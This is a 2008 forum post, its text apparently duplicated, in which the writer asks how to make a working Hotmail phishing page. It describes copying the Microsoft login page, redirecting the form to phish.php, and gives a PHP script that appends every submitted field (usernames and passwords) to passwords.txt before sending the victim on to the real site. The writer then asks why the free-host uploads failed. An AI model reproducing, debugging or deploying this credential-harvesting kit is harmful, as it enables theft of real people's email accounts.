07-10-2008, 03:53 PM
Does any here know how to actually phish hotmail?
Ive tried all the tuts on phishing, but no one could successfully explain how to make a working fake hotmail page.
I have, however, made a hotmail phish by referring to all the tuts I found here.
Here's how I did it:
pasted the source of login.live.com page in notepad and saved as index.php, and changed action="https://login.live.com/ppsecure/post.srf?bk=1215679129" to action=phish.php from here:
Next I opened notepad and pasted the following:
I saved this as phish.php
Then I created a txt file and saved it as passwords
So now I have have 3 files: index.php, phish.php and passwords.txt
I uploaded all to 110mb.com and when I try to open my fake login site it says webpage not found.
Then I registered with spam.com, and it couldnt upload phish.php and passwords.txt.
If anybody knows how to phish hotmail please tell me where I have gone wrong.
Ive tried all the tuts on phishing, but no one could successfully explain how to make a working fake hotmail page.
I have, however, made a hotmail phish by referring to all the tuts I found here.
Here's how I did it:
pasted the source of login.live.com page in notepad and saved as index.php, and changed action="https://login.live.com/ppsecure/post.srf?bk=1215679129" to action=phish.php from here:
Code:
<form name="f1" style="margin:0px;" method="POST" target="_top" action="https://login.live.com/ppsecure/post.srf?bk=1215679129" onsubmit="return OnSigninSubmit(this);">Next I opened notepad and pasted the following:
Code:
<?php
header ('Location: http://login.live.com');
$handle = fopen("[b]passwords.txt[/b]", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>Then I created a txt file and saved it as passwords
So now I have have 3 files: index.php, phish.php and passwords.txt
I uploaded all to 110mb.com and when I try to open my fake login site it says webpage not found.
Then I registered with spam.com, and it couldnt upload phish.php and passwords.txt.
If anybody knows how to phish hotmail please tell me where I have gone wrong.